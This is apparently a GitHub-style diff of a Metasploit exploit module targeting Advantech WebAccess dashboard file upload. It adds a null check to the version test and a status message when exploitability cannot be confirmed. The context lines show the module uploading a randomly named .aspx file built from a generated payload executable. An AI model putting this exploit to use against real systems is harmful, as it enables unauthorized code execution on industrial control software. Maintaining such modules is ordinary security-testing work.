Merge pull request #2 from open-security/advantech_webaccess_dashboard_file_upload
Advantech webaccess dashboard file uploadbug/bundler_fix
commit
2400345fff
|
@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
ver = version_match(res.body)
|
ver = res && res.body ? version_match(res.body) : nil
|
||||||
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
|
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -112,7 +112,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
return unless vuln_version?
|
unless vuln_version?
|
||||||
|
print_status("#{peer} - Cannot reliably check exploitability.")
|
||||||
|
return
|
||||||
|
end
|
||||||
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
|
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
|
||||||
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
|
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue